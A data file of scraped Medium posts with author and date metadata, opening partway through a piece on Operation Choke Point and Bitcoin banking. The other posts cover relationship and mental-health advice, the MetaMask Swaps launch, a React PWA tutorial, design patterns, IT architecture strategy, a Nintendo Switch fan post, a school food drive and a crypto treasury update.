At present, the United States does not have a direct and comprehensive program to conduct oversight of the virtual currency markets. However, some government regulators and agencies have issued guidance to address concerns about virtual currencies, including the Financial Crimes Enforcement Network (“FinCEN”), Internal Revenue Service, Commodity Futures Trading Commission (CFTC), and Securities and Exchange Commission (SEC).[7] The FDIC has analyzed the potential impact that virtual currencies pose to financial institutions and formed a Financial Technology Working Group to monitor virtual currencies and other financial technology innovations. Among the challenges identified by the FDIC are the potential for illicit use and connection to criminal activity, legal and supervisory challenges, and integration with and risk to financial institutions. The FDIC should continue to monitor issues surrounding virtual currencies, to ensure that examiners and institutions are aware of the threats posed by these evolving technologies and markets.[8]
There are some banks that have gone out of their way to accept Bitcoin, and others who have not, banks.com has assembled a nice list.
Banks that explicitly ACCEPT Bitcoin:
Bitcoin Accepted Here
Banks that explicitly LIMIT or BAN Bitcoin:
Bitcoin is Bad, M’kay.
[1] https://www.forbes.com/sites/norbertmichel/2018/11/05/newly-unsealed-documents-show-top-fdic-officials-running-operation-choke-point/?fbclid=IwAR27laKRYAxcBJdCuv029Y6znDPsJB15lYzgerGQr0IzoWquETTN1-AHtiQ#6e5b8b581191
[2] House DOJ Report at 1 (App.84); Appendix to House DOJ Report at 3PPP17 (“DOJ Report Appx.”) (App.125); see also FDIC67829 (describing “gatekeeper” role of banks) (App.130).
[3] FDIC77124; https://www.fdic.gov/news/news/financial/2012/fil12003.html#cont
[4] https://www.americanbanker.com/opinion/evidence-is-now-clear-operation-choke-point-hurt-lawful-businesses
[5]https://www.dailysignal.com/2016/02/04/find-out-if-your-lawmaker-voted-to-end-operation-choke-point/?utm_source=heritagefoundation&utm_medium=email&utm_campaign=morningbell&mkt_tok=3RkMMJWWfF9wsRovs6%2FBZKXonjHpfsX56eUoX6S2lMI%2F0ER3fOvrPUfGjI4ASMprNa%2BTFAwTG5toziV8R7jHKM1t0sEQWBHm
[6] https://www.cfsaa.com/files/files/Statement%20of%20Undisputed%20Material%20Facts%20Operation%20Choke%20Point.pdf
[7] FinCEN’s Advisory to Financial Institutions on Cyber-Events and Cyber-Enabled Crime (FIN-2016-A005 October 25, 2016); CFTC Backgrounder on Oversight of and Approach to Virtual Currency Futures Markets (January 4, 2018); SEC Chairman Jay Clayton Statement on Cryptocurrencies and Initial Coin Offerings (December 11, 2017).
[8] https://www.fdic.gov/about/strategic/report/2017annualreport/ar17appendix.pdf
[9] https://www.banks.com/articles/cryptocurrency/banks-that-accept-bitcoin/
[10] Id. | https://sashahodler.medium.com/operation-choke-point-2cc68081e8a0 | ['Sasha Hodder'] | 2018-11-12 06:16:55.077000+00:00 | ['Fdic', 'Reputational Risk', 'Fincen', 'Bitcoin', 'Banking'] |
Talking About Mental Health in Relationships (Tips and Tricks) | I’ve always been of the opinion that nobody notices the things you don’t like about yourself until you point them out. If you don’t like how far apart your eyes sit, don’t point it out, and the chances are that nobody will notice. That being said, mental health is something that refuses to be ignored. I hate having anxiety. It is one of my least favorite things about myself, and it can be really scary to allow even just myself to hear my own thoughts. Of course, it can be even scarier to share your least favorite parts of yourself with a partner but to have a successful relationship, you simply must, so here are my best tips and tricks.
The first, and most important, rule to successfully navigating mental health in a relationship is to not date somebody who will belittle your struggles. Mental health is hard enough on its own, and the absolute last thing you need is somebody who portends to be your partner and then minimizes your struggles or makes you feel bad for sharing them. You should always be your biggest fan, and your partner should always be a close second. If you feel like you can’t talk to your partner about your mental health, you should strongly consider leaving them. The complexities of mental health must be heard and understood by a partner for a relationship to work. You also never want to be in a relationship where you are on your own fighting a battle, and mental health can oftentimes be a war. If you are going to have a partner, they need to be by your side and cheering you on. Period.
Second, you have to allow your partner the opportunity to show you who they are in the face of your mental health struggles. If you are dating again after a bad relationship, you have to try to not treat your new partner like your old partner. Give them, and your relationship, the courtesy of starting a new relationship without as much behavior from the past as possible. For example, if your last partner belittled your mental health, try to not treat your new partner like they are going to belittle your mental health. If you don’t give them the opportunity to respond in their own way, you are blocking them from a really great chance to improve your relationship and bring you closer.
Thirdly, communicate. If you find you’re treating your new partner like your old partner, communicate to them why you are behaving that way and what insecurities you are carrying from your last relationship (note- this doesn’t mean you shouldn’t be actively avoiding this behavior, but make your partner aware of it so they know what is going on too). If you find your partner is making light of a mental health problem you have, tell them why it bothered you and allow them to adjust. Not everyone has mental health issues or experience, some people simply need a bit of a grace period to learn how to respond. This doesn’t mean you should tolerate consistent insensitive behavior, but recognize your partner is human and they are doing their best. If they continue to do something after you’ve explicitly asked them to stop, refer to my first tip. Lastly, give your partner the chance to surprise you with their grace and compassion. I, like most people, was nervous to open up to my partner about my mental health issues. Things were dark for a while, but once I told him what I was struggling with, he could not have been more kind, understanding, and compassionate. This is not to say that I expected less, but with anxiety, I find myself constantly preparing for the worst, and his excellent reaction was a pleasant surprise and comfort to me in a dark time. Don’t be afraid to give your partner the chance to do the same for you.
Finally, struggling with mental health sucks. It is ugly, scary, and isolating. Your partner can be a phenomenal ally for you, and you owe it to yourself and to them to have that relationship strengthened. Don’t be afraid; be firm, be gracious, and be honest. | https://medium.com/@shannonrshort/talking-about-mental-health-in-relationships-tips-and-tricks-7621f15a7ce0 | ['Shannon Short'] | 2020-12-22 04:14:18.060000+00:00 | ['Relationship Advice', 'Anxiety', 'Mental Health', 'Relationships', 'Relationships Love Dating'] |
Introducing MetaMask Swaps | MetaMask users can now swap tokens directly from their wallet. Swaps combines data from multiple decentralized exchange aggregators, professional market makers, and individual DEXs — like AirSwap — to ensure MetaMask users always get the best price with the lowest network fees.
Recent months have seen large-scale adoption of decentralized exchanges (DEXs). Compared to centralized exchanges, DEXs offer more pairs when trading, provide access to a greater diversity of tokens, and enable non-custodial swaps that keep funds safer. However, users of decentralized exchanges often don’t receive the best price when insufficient liquidity is available or if a particular decentralized exchange doesn’t have the best available price.
Before MetaMask Swaps, users would navigate many DEXs to compare prices and swap tokens. However, using a single DEX or DEX aggregator doesn’t always yield the best price for every trade, as each aggregator performs differently under different circumstances. Additionally, users needed to approve each token on each DEX, incurring expensive gas costs.
We knew if we could solve these problems, we could remove friction for millions of users, democratize access to Web3 and DeFi and increase the efficiency of these systems. That’s why we’ve collaborated with the AirSwap team at ConsenSys to build Swaps: a feature that enables any Web3 or DeFi user to easily access the tokens they need for the sites they use. By integrating data from the largest liquidity sources in the ecosystem — including Uniswap, AirSwap, 0x API, 1inch.exchange, Paraswap, Totle, and dex.ag — MetaMask Swaps lets users access all decentralized liquidity sources in one place.
With a focus on user experience we’ve also prioritized security. The underlying smart contracts have been audited by ConsenSys Diligence and a report can be found here.
Compare Prices and Swap Directly From MetaMask
Find the best price every time. By requesting prices from all available aggregators, along with individual market makers, Swaps ensures that every MetaMask user always has access to the largest selection of tokens, and the most competitive prices. A service fee of 0.875% is automatically factored into each quote, which supports ongoing development to make MetaMask even better.
Fewer approvals. No need to approve every token on multiple DEXes and aggregators for each trade. With Swaps, users only need to approve each token once, reducing gas costs and shortening the path to executing their token swap.
Reduced gas costs. Each aggregator pursues a different path to locate the best trade. Each route requires a varying amount of gas fees to execute the transaction. Swaps sources the best prices and determines which aggregator is the most gas efficient for every trade.
Slippage protection. Large swaps are often subject to wild price swings when there is insufficient liquidity available on a particular DEX. When swapping in MetaMask, orders are spread across virtually all DEXs to reduce slippage impact on the final price.
Swaps is available now in the Chrome and Firefox extensions, rolling out shortly to other browsers and coming soon to MetaMask Mobile.
Getting Started
Open the MetaMask extension Click the new ‘Swap’ button Select the tokens you want to swap and click ‘Get quotes’ Let MetaMask work it’s magic Compare all available quotes and select the best one Click on ‘Swap’ and wait until the transaction completes
A Better DeFi Experience for the Ethereum Ecosystem
By building a single end-to-end experience, MetaMask empowers Web3 users to browse and interact with the entire decentralized web.
A simple, streamlined experience reduces friction for new token users, bringing more people into DeFi. It enables more trades, faster, by providing an optimized path for fees. And, crucially, bringing greater transparency and efficiency to decentralized finance on Ethereum. This equates to a better network for all — one with fewer fees and reduced network congestion.
If you’re a Chrome or Firefox user, jump into your MetaMask extension and start swapping now!
New to Web3? Welcome! Head to metamask.io to download the MetaMask browser client and start interacting with the blockchain-based internet. | https://medium.com/metamask/introducing-metamask-swaps-84318c643785 | ['Talia Knowles-Rivas'] | 2021-03-24 21:39:37.657000+00:00 | ['Web3', 'Cryptocurrency', 'Metamask', 'Defi', 'Ethereum'] |
Build a Realtime PWA with React | Building a PWA with Create React App
We’re going to be building a realtime PWA with the help of create-react-app.
It’s common for developers who are just getting into React to have a difficult time getting set up and configuring their apps. create-react-app eliminates all of that by allowing developers to build React apps with little or no build configuration. All you have to do to get a working React app is to install the npm module and run a single command.
More importantly, the production build of create-react-app is a fully functional Progressive Web Application. This is done with the help of the sw-precache-webpack-plugin , which is integrated into the production configuration.
Let’s get started with building the React app. Install the create-react-app tool with the following command:
npm install -g create-react-app
Once the installation process has been completed, you can now create a new React app by using the command create-react-app pushercoins .
This generates a new folder with all the files required to run the React app and a service worker file. A manifest file is also created inside the public folder.
The manifest.json file in the public folder is a simple JSON file that gives you, the ability to control how your app appears to the user and define its appearance at launch.
We notify the app of the manifest.json file by linking to it in line 12 of the index.html file.
<link rel="manifest" href="%PUBLIC_URL%/manifest.json">
Next up, let’s go through the registerServiceWorker.js file and see how the service worker file works. The service worker file can be seen in the src folder on GitHub.
The service worker code basically registers a service worker for the React app. We first check if the app is being served from localhost via the isLocalhost const value that will either return a truthy or falsy value. The register() function helps to register the service worker to the React app only if its in a production mode and if the browser supports Service workers. The unregister() function helps to unregister the service worker.
Let’s find out if the service worker really works. To do that we’ll need to prepare the React app for production as the service worker code only works in production mode. The npm run build command helps with that.
This command builds the app for production to the build folder and correctly bundles React in production mode and optimizes the build for the best performance. It also registers the service worker. Run the command and the output from the terminal should look like something below:
We get to see the size of the files in our React app and most importantly how to run the app with the aid of a static server. We are going to use the serve npm package to, wait for it, serve(😀) the React app. Therefore, use the following commands to install serve on your computer and also set up a static server for the app:
npm i serve -g serve -s build
Your application should be up and running at http://localhost:5000. So how do we check if a site is a PWA? We can do that by checking the service worker section in the ‘Application’ tab in the Developer tools.
We could also check by using the Lighthouse tool. Lighthouse is an open-source, automated tool for improving the quality of web pages. It can perform audits on performance, accessibility and Progressive Web Apps. Lighthouse is currently available as an extension on Google Chrome only and as an npm package.
I used the Lighthouse extension to generate a report for the newly created React app in production and got the following result.
The React app got a score of 91 out of 100 for the PWA section, which isn’t that bad. All audits were passed but one related to HTTPS, which cannot be implemented right now because the app is still on a local environment.
Now that we know how to check if an app is a PWA, let’s go ahead to build the actual app. As we’ll be building this PWA with React, it’s very important that we think in terms of React components.
Therefore, the React app would be divided into three components.
History.js houses all the code needed to show the past prices of BTC, ETH, and LTC. Today.js houses all the code needed to show the current price of BTC, ETH, and LTC. App.js houses both History.js and Today.js
Alright, let’s continue with building the app. We’ll need to create two folders inside the src folder, Today and History . In the newly created folders, create the files Today.js , Today.css and History.js , History.css respectively. Your project directory should look like the one below.
Before we get started on the Today and History components, let’s build out the app shell.
An app shell is the minimal HTML, CSS and JavaScript required to power the user interface and when cached offline can ensure instant, reliably good performance to users on repeat visits. You can read more about app shells here.
Open up the App.js file and replace with the following code:
The App.css file should be replaced with the following:
We’ll also be using the Bulma CSS framework, so add the line of code below to your index.html in public folder: | https://medium.com/better-programming/build-a-realtime-pwa-with-react-99e7b0fd3270 | [] | 2019-10-22 04:46:57.198000+00:00 | ['JavaScript', 'React', 'Pwa', 'Cryptocurrency'] |
Architecture Learnings #6, Design Patterns — Builder vs Decorator and the Pizza Problem | Image by Michal Jarmoluk from Pixabay
One of the common design questions in Software Engineering interviews is the Pizza problem. i.e Building the software for a pizza shop who has a wide variety of pizza and wants to prepare different types, e.g Veg Pizza, Non-veg Pizza, Flat Bread, Pepperoni Pizza with Extra Cheese 😋, put add on toppings on it.
Hungry??? So am I… please wait for some more time.
Let’s now see the different approaches to solve this design problem.
Traditionally, for pizza problem, Builder Pattern is most commonly used. However, there are some examples using Decorator Pattern as well. Both the approaches are correct but there is difference in use case which we will discuss in detail in this article. | https://medium.com/@dashitesh/architecture-learnings-7-design-patterns-builder-vs-decorator-and-the-pizza-problem-50aac30f643d | ['Hitesh Das'] | 2020-12-23 12:38:18.185000+00:00 | ['Design Patterns', 'Architecture Components', 'Interview Questions', 'Best Practices'] |
The four pillars of digital architecture — are you ready for excellence? | In 2018, Kim Hammonds, then the CIO of Deutsche Bank, described her employer as the most “dysfunctional” company she had ever seen. Her job was to transform and simplify Deutsche Bank’s digital landscape, reduce the number of systems, and make them more reliable. The CEO, John Cryan, had described Deutsche Bank’s IT as “lousy.” Even so, the board did not appreciate Hammond’s brash public commentary and unceremoniously fired her.
Technology is complex, and so is a company’s information technology. Digital leaders like Amazon and Google revolutionize workplaces and consumer behavior. They are also seriously threatening incumbent companies. One might expect that those challenged frantically develop an array of digital responses.
The bleak reality, however, is that most companies are unable to cope. Companies may strive to become data-driven and process-optimizing, yet their IT landscape resembles a map of medieval castles, full of roadblocks, walls, and barriers.
Rather than thinking of individual applications, C-level executives must think of their entire IT ecosystem as a system that needs to integrate many diverse applications. Unfortunately, stakeholders in business and IT are highly entrenched in old ways of working, used to a set of applications. As a result, companies fail to develop a digital landscape into a competitive system.
Four criteria determine the fighting power of your IT landscape: efficiency of resources, scalability to size, optimal diversity of components, and adaptability to circumstances. These four essential criteria are universal benchmarks for any complex system facing competitive pressures. They provide an intellectual framework by which a company can effectively evaluate and enhance its digital future.
Failure to rise up to the digital challenge should not be an option. Yet, when systems fail, they do so rapidly — and often with disastrous consequences.
Losing against all odds
History is full of technological failures: the Challenger incident in 1986, the Deepwater Horizon oil spill in 2010, and the Lidl pullout from its SAP project after investing half a billion Euros. The failures of management are obvious in hindsight and sometimes border on the incredible. The same is true for what is likely the most consequential technological breakdown in history.
In 1940, the French Army collapsed against the onslaught of the German Blitzkrieg campaign. Using war as an example might seem a bit dramatic, but it provides a few practical advantages: an ample supply of wrong decision making, excellent historic documentation, and proximity to technology. One might expect that the high stakes and the prospect of death would entice leaders to strive for excellence. Hopefully, the following example illustrates that this is not always the case.
At the beginning of 1940, the French High Command felt comfortable and strong against Hitler’s forces. By June 1940, German forces had rapidly advanced and French defenses were collapsing. A situation began to unfold that had been unimaginable just a few weeks before. The German commander, Heinz Guderian, commanded his troops from a mobile platform, utilizing state-of-the-art radio communication with his forces.
General Maxime Weygand directed troops from a remote castle where his only method of communication was a telephone next to the castle’s outhouse. Engulfed by latrinal stench, Weygand’s subordinate officers battled for telephone time. Making matters even worse, the telephone lady insisted on her lunch break from 12 to 2 p.m., entirely cutting off any communication during the heat of the most critical battles. From 6 p.m. onwards she went home, returning at 9 a.m. in the morning. General Weygand remained unfazed and apparently even refused to send letters via homing pigeon.
Testifying later in front of a national commission, junior officers would claim that the High Command had been “a submarine without a telescope.”
By the standards of a strategy consultant, France had prepared well: it built the Maginot Line, a multi-story bunker extending over hundreds of kilometers, enforced with steel and concrete. France possessed two to three times more planes and tanks than Germany. The country was part of an overwhelming alliance with access to far greater resources. Only a few dissenters, like General de Gaulle, claimed that the Army lacked mobility and was unprepared for a mobile war of the future.
It turns out that the lack of communication had disastrous consequences also on a tactical level.
The majority of the German Panzer troops had been considered ineffective as they lacked thick armor and were only equipped with machine guns. Their cannons were unable to penetrate the armor of the French Char B tanks.
Still, the French lost, as the Germans had tightly coordinated their tanks, airplanes, and ground troops by radio. If ground troops were in trouble, close air support eliminated resistance. Many other French tanks were destroyed by a powerful anti-aircraft gun, the Flak 8.8.
While equipped with more powerful cannons and better protected by thicker steel, the French tanks had no radio. To communicate, the commanders were forced to use signaling flags, only to be killed by waiting sharpshooters when exposed. French tanks required special refueling tanks which were mostly unavailable. German tanks received their fuel via canisters, dropped on the wayside by trucks or airplanes.
Germany won an overwhelming victory with significantly smaller resources than the British and French combined. It would unleash a humanitarian catastrophe and put France at the mercy of German conquest for almost five years.
Integrated systems
The Battle of France in 1940 holds an important lesson applicable to modern IT: technology needs to be understood as an integrated system. A functional IT architecture is an ecosystem of various applications, staff, vendors, and partners. Getting the mix right defines the essential criteria for winning systems. Getting it wrong ensures failure.
Simple technology (like canisters) may be better than a highly sophisticated solution. Linked weapons, cleverly combined, may transform into an innovative system exhibiting an overwhelming force against traditional tactics and weapons. The French generals refused to attack Germany. After the Battle of Poland, Germany had run out of ammunition and was left completely vulnerable. Without a strategy to incorporate emerging technology, any organization will fail once exposed to competitive pressure.
What makes a system competitive?
Over the last decades, natural science has increasingly embraced principles of self-organization and complexity theory. Totally different systems (social organizations, ecological habitats, planetary systems, and even mathematical functions) can exhibit similar behavior patterns because they observe evolutionary patterns.
Very rarely does evolutionary pressure drive a species into extremely coordinated behavior. On this planet, there are about twenty highly social species that have developed extreme altruism and cooperate in large social entities. Biologists call these biological systems superorganisms.
Most of these great collaborators are within the insect world, of which ants are the best researched. Ants, like other eusocial insects, have achieved overwhelming dominance within their habitat, evolving behaviors that facilitate agriculture, architecture, and organized warfare.
There are four characteristics that determine a winning system. Ant behavior provides an excellent illustration on what they are and how they are achieved:
Efficiency: Any system must be able to operate rapidly with a minimum of resources. Ants are incredibly efficient as they have learned to cooperate seamlessly and en masse. With little brainpower, they lay traces and follow them. They care for the wounded, have mortuaries, agriculture, farming, and organized warfare.
Scalability: Size matters in conflict and competition. Most ant colonies only have one queen. However, some ants have turned to be “hyperscalers” by accepting several queens within their nest. The supercolonies of Argentinian ants stretch for six thousands kilometers along the Mediterranean coast, from Spain to Italy. These colonies house trillions and trillions of ants and dominate their respective environments.
Diversity: Having different players allows for a division of labor and individuals that excel at certain tasks. There is an optimal level of diversity, as too much specialization requires too many resources. Army ants start to collaborate at a group size of six ants. However, most ants have three major casts: queens, drones, and workers. Often special soldier ants develop, with enhanced mandibles, bigger heads, and more power. Occasionally, there are also ants called repletes that act as living food storage, guardians with oversized heads that block the entrance of the nest, and gamergates, workers with the potential to turn into queens.
Adaptability: Systems need to cater to conflict, daily life, and the future. Evolution mercilessly puts survival to the test. Ants exist on all continents, save Antarctica. They survived the end of the dinosaurs and have existed on this planet for more than 160 million years. Lacking crisis resilience, even systems that have been around for eternities can fail catastrophically.
These general evolutionary principles govern the creation of any complexity. They apply to microscopic complexity like the folding of protein molecules in biological systems and, as some physicists suspect, extend even to the creation of the universe and its natural laws.
In today’s digital world, you ignore these principles at your peril.
Criteria for your system landscape
How does one measure the resilience of an IT system? And how can we define efficiency, scalability, diversity, and adaptability in terms of a digital landscape?
Efficiency
An IT system requires rapid connectivity and low maintenance costs. Therefore, an IT architecture that claims to be modern must qualify for seamless interfaces, data availability, and reasonably low headcount requirements. Primarily, it must be capable of coordinating various interconnecting applications.
General Weygand was unable to do so from his telephone. His counterpart, the German general Heinz Guderian directed his troops from the front lines. He rode on a state-of-the-art communications vehicle, accompanied by a group of his best radio operators. Weygand’s chateau was probably a very comfortable place, even if it only had an outhouse. Yet, speed and lost costs are of essence — then and now.
Scalability
Systems need to match up to economies of scale. When a business grows, costs should potentially scale down proportionally. As turnover grows, average license costs and the proportion of people to maintain systems should decline.
IT must be capable of supporting acquisitions. Very often, companies spend years trying to merge the IT of two companies into one. Particularly, enterprise resource systems must possess standards that enable them to be rolled out quickly to other entities.
Diversity
Systems vary according to the purposes they fulfill. For example, there may be unique systems for computer-aided design, transport planning, a customer rebate program, and production planning. Other systems provide standard functions such as billing, inventory control, order management, finance, and controlling.
The fine art of an astute general is to integrate new weapons to generate overwhelming fighting power. Similarly, executives must find the right mix of old and new technologies to drive their business.
Adaptability
A company needs to adapt to a highly competitive environment, and your IT systems must evolve accordingly. In addition, the systems function within a constantly changing environment; keeping track of rapidly changing websites, meeting the different demands of customers and products, and planning for resource shortages are all things your systems need to cope with.
Most IT systems are hopeless on resilience. Security threats are on the rise. Around half of all major companies have been hit by severe security incidents, often bringing their operations to a grinding halt. Companies expose themselves to a deeply criminal world. Hackers do not even shy away from stopping the works of a hospital or its intensive care units. Adequate preparation does not only reduce the risk of intrusion, it also makes your systems resilient once breached.
IT Architecture
What should an ideal IT landscape look like? First, of course, companies have hundreds, even thousands, of systems. However, systems providing business applications generally fall into three essential layers. These layers are universal and shared by almost every modern corporation.
ERP (Enterprise Resource Systems): These are systems like SAP, Microsoft Dynamics, Infor LN, and Oracle ERP. The ERP system is your core transactional system and the repository of data. It typically provides for functions such as order taking, delivery management, invoicing, limited production and logistics, and finance and controlling.
Advances in web technology, faster processing, and more powerful databases have streamlined these systems, but from the perspective of functionality, ERP systems have not evolved much since the 1980s. There is still little advanced functionality to benefit users. As a result, ERP systems are generally the least innovative applications within a system landscape.
ERP systems should scale in licensing and hardware, but mainly in the proportion of staff employed. The larger the system, the lower the costs should be. A substantial diversity in ERP systems is not advisable because there is little actual difference between vendors. Too much diversity results in complexity costs and lower efficiency. The ERP system should be as open to other systems as possible. The simpler the technology stack, the higher the system resilience.
The ERP system is the digital backbone of your company. It is the skeleton and should provide structure, but not be bendable to the whims of individual stakeholders or flimsy ideas.
Specific Applications: Apart from an ERP system, companies acquire many specific purpose-built applications. Examples for these applications are Customer Relations Management (Salesforce, Microsoft CRM, SAP CRM), reporting dashboards (Tableau, Qlik Sense, etc.), and various programs for computer-aided design. They may also cater to financial consolidation, production, warehousing, logistics planning, credit information tools, and duty management. Special applications help fulfill particular functions and provide great add-ons to the diversity of your systems. They ensure unique tools for specific tasks but are generally not good at delivering much else.
All ERP vendors have made attempts to extend their marketability by adding specific applications to their portfolios. However, more often than not, these solutions are expensive and poorly connected, even into the vendor’s technology stack. The new strategy of SAP’s CEO is to seamlessly integrate applications like Fieldglass, Ariba, SuccessFactors, and their SAP-CRM suite into the architecture. However, even if Christian Klein is successful, SAP’s specific applications will remain expensive.
Smaller vendors provide cheaper and more innovative solutions. Incorporating them into the IT landscape is the great art of digital excellence. Most of these vendors (but it still is imperative to check) will provide standard connection capabilities into ERP systems.
Software Development: Software development can meet the exact demands of business processes with extreme specialization. Software development caters best to internal process optimization and customer focusing applications. Properly built, it provides a platform to interconnect different systems and processes. Thus, software development plays a critical role in business process management, a rapidly growing area in application management.
Companies like Amazon mostly rely on software development to drive customer focus. Software development supplies diversity and efficiency at speed. In addition, software development is exceedingly scalable because a growing user base does not translate into extra license costs.
However, software development does pose barriers to entry: start-up costs are high, there are few sponsors within the business, and an ERP-centric IT department tends to reject bespoke development.
How to plan your ERP right
Traditionally, most corporates are still highly ERP-centric. ERP systems still perform the lion’s share of digital processes. They tend to be the focus of business and IT alike. However, treating an ERP solution as the sole driver of digital excellence is a grave mistake. Similarly, ignoring the integrity and stability of an ERP system would be an even bigger mistake. Using a multitude of ERP systems will increase the costs of diversity and will turn an IT landscape into an unmanageable supertanker.
If you like to ride a speedboat, keep the ERP clean and fit for purposes: accounting, controlling sales, inventory management, some logistics, and a limited set of production capabilities. Preferably, use one solution instead of many different ERPs, which will inflate staff and interfaces; interconnections will cost you dearly in time and money, and costs will balloon unnecessarily.
The cloud
The cloud is nothing more than externally hosted infrastructure services. Infrastructure can be expensive, especially when systems expand. Hyper-scalers can efficiently supply essential infrastructure services. Most software vendors will try to sell cloud as an added value or second product, often with a hefty premium above what a hyper-scaler would charge.
But why would you rely on a vendor of software for hosting services? Why wouldn’t you host the service in AWS, Azure, or elsewhere? Mixing the administration of your application with the hosting of infrastructure can make you very inflexible. For example, SAP’s cloud service is known to be rigid and error prone.
Don’t think of the cloud as the solution to all your problems. If done well, the cloud can be sufficient and scalable, but make sure you don’t pay through the nose and that you get the service you need.
Look at the facts!
The discussion on IT architecture needs to be open-minded and fact-based. Evaluate any system in the context of your ecosystem and its efficiency, scalability, diversity, and adaptability. Consider the ecosystem of your vendor. Do they have a good partner structure? What operating systems are they running? Will this partner be around 20 years from now? Keep an open mind and evaluate your options very carefully. Glossing over details can cost dearly as they may turn out to be very important later on.
Within your organization, business applications come with fiefdoms and islands of knowledge. Sales and marketing departments of major vendors are excellent at exploiting this weakness. But unfortunately, they rarely win on technological excellence.
In my experience, a solid blueprint written in a free-text format provides a much better basis for evaluation than PowerPoint slides. Note that Jeff Bezos of Amazon has banned PowerPoint from the company. Once IT projects turn into endless and unfocused townhall discussions, they are doomed. Consultancies, on the other hand, love them: they provide a rich source of income and great training grounds for their junior workforce.
Digital Excellence
First and foremost, excelling in the digital world requires intellectual astuteness. Times of technological transformation require solid and decisive leadership. Cognitive openness and fact-awareness will prevent a company from turning into a submarine without a periscope. Customers and efficient processes are the new strategic battleground. To achieve them, the IT ecosystem must focus evolve to optimal efficiency, scalability, diversity, and adaptability.
A well-built IT architecture is the first step to getting it right. The most expensive solutions are rarely the best, and creativity thrives on frugality. You may be better off using the digital equivalent of a petrol canister than an ultramodern, multimillion-dollar refueling tank.
Take a deep look at your system landscape. Break down each component by its four success factors. Are the systems interconnected and efficient enough? Will they scale sufficiently without incurring excessive license and hardware costs? Are your ERP systems too diverse or would the costs and timeframes of harmonization block your digital agenda for years to come? How adaptable are the systems to digitally native customers? Are they resilient against crises and security threats?
A definition of business needs and technological capabilities will provide a corporate-wide digital consensus. Expertly done, the exercise may only take a few months and will provide fact-based consensus. Respect for facts provides a common ground forward, essential for launching a digital strategy.
Since 2008, Deutsche Bank’s share price has dropped from a high of 93 EUR to 5,43 EUR in April 2020. Better late than never, Deutsche Bank is actively pushing a new digital agenda. Its new board member responsible for IT is Bernd Leukert. Leukert is an ex-executive of SAP, formerly responsible for the application platform S/4 Hana. Initially, he did not announce a radical change, nor did he attempt to bulldoze stakeholders brazenly. Instead, Leukert started with a deep dive into Deutsche’s architectural constraints and business needs. From there, he is leading the simplification and standardization of its IT. Given Deutsche’s desperate situation, he encounters less resistance and is likely to gain more support than Kim Hammonds.
Under his leadership, Deutsche and Google have allied. The objective is to launch a new suite of technology-based financial products.
Since then, Deutsche’s share price has steadily recovered to over 12 EUR (at the time of writing, 22.05.2021). The verdict on Leukert’s long-term strategy is still out, as it will only pay off in the coming years. Clearly, Deutsche’s new digital strategy is a calculated gamble; it may succeed or fail. However, to date, the digitally-driven strategy shows promise and may launch a comeback of Deutsche as a major player in the world’s banking community.
Treating IT as a complex ecosystem is the first step into embracing the digital challenge. Disjunct systems fail under competitive pressure. Evolving systems have the uncanny ability to start a life of their own and leverage unforeseen forces. Thriving in the new world requires dedication, intellect, and the right approach. | https://medium.com/@thedigitalneanderthal/the-four-pillars-of-digital-excellence-are-you-ready-2dc9d67d1858 | ['The Digital Neanderthal'] | 2021-06-06 19:37:37.490000+00:00 | ['Systems Thinking', 'Projects', 'It', 'Sap', 'Evolution'] |
Nintendo Switch has passed 3 years | i ever believe it this game console. It is a very comfortable game environment if you open it. i guess more extreme gaming next year too than this years. because upcoming “Pokemon Sword and Shield” and “Animal crossing” releasing. i think Nintendo Switch was saw of Video Game in the future. cell phone gaming is more best price but no value of video games.
i think to buying for video game highly attractive. You can have a valuable experience by purchasing a video game.
it is a most experience
“Nintendo Switch” is creating every value of Video Game. let’s together purchase game of in Nintendo company. Game console in the Future waiting for you.
thank you all for game player. coming up!
P.S. Playstation and Sony company user get hate in japanese Nintendo Switch owner. because they were attack other game console of appeal. they said “Playstation is No1 only game console”. it is hurt user of other game console. they are look like Cult religion. if you can japanese language that please say them “you are shut up”.
please visit Japanese bulletin board of most popular game console
https://krsw.5ch.net/ghard/
good luck. | https://medium.com/@ebifurai55/nintendo-switch-has-passed-3-years-7f32a4813838 | ['Hazekura Eikuu'] | 2019-11-10 18:19:23.761000+00:00 | ['Gaming', 'Bulletin Board', 'Nintendo Switch', 'Nintendo', 'Japanese'] |
Students help school ‘Pack the Bus’ for a local food pantry | Students help school ‘Pack the Bus’ for a local food pantry
By KRYSTAL NURSE
The Sun
After spending a week collecting boxed and canned goods from their families, students packed the items into a school bus.
On March 4, students assembled in the back of Harrison Township Elementary for the school’s “Pack the Bus” event. They sent items such as boxed pasta, cereal and soups to Your Place at the Table, located within Trinity United Methodist Church. Prior to the day, the students had to use their math skills to calculate how much food could fit in a bus.
“We measured it with the length and width, and we had to calculate and figure out what the height was,” said student Lilah Matz.
Students said they collected the donations from within their homes by scouring their pantries for new items that they didn’t want and could be donated. The donation period lasted just over a week.
Principal AnnaLisa Rodano said the idea of packing donations in a school bus came after seeing health and physical education teacher Mickey Fox’s stacking competition, which had donated items. Rodano added they wanted to do something different this year and collect items in February since YPATT receives an influx of donations around Thanksgiving.
“We use the bus to incorporate different parts of the curriculum like mass, volume and weight into their Innovations and Design class,” she added. “Then our whole community came out and donated things to the kids. It’ll be donated to Trinity, who holds donations for many in the community.”
During the packing event, students dashed and grabbed items to bag or place in boxes to be safely transported on a shortened school bus — the original plan was to pack a full-length school bus, but it was later changed to a shorter one — to YPATT.
“It would have been funny if they strapped in the foods with the seatbelts, so it wouldn’t fall,” said student Braydon Robinson.
Students were also instructed to continue using their math skills to count the number of donations before handing them off to their peers. Just over 300 items were donated.
“I love that they have an opportunity to extend their learning beyond the classroom and into the community,” said Rodano. “I think it’s super important to be focused on global initiatives and doing things beyond the classroom and the school walls.”
Students exclaimed their excitement about the event saying they hope it “continues forever.”
“I think it was a hugely successful event the first year that we did it,” said Rodano. “It will only continue to get larger. I want to integrate more learning in it.” | https://medium.com/the-mullica-hill-sun/students-help-school-pack-the-bus-for-a-local-food-pantry-4dc1589799b5 | ['Krystal Nurse'] | 2019-03-08 16:39:20.728000+00:00 | ['Studnet', 'Donations', 'Giving', 'Education'] |
NYA Treasury Formed | The past 24 hours have been busy for us. We’ve proceeded on with burning the token minter and fixing some bugs etc. Things are looking good, so we’re moving forward to forming the treasury meowtain.
A Meowtain of NYA has been formed in the Treasury
Previously, the remaining NYA tokens have been kept in the Deployer. That raises concerns in the community and we totally understand why.
Earlier today, we’ve set up a Timelock contract with 24 hours delay time and sent all the NYA tokens to it.
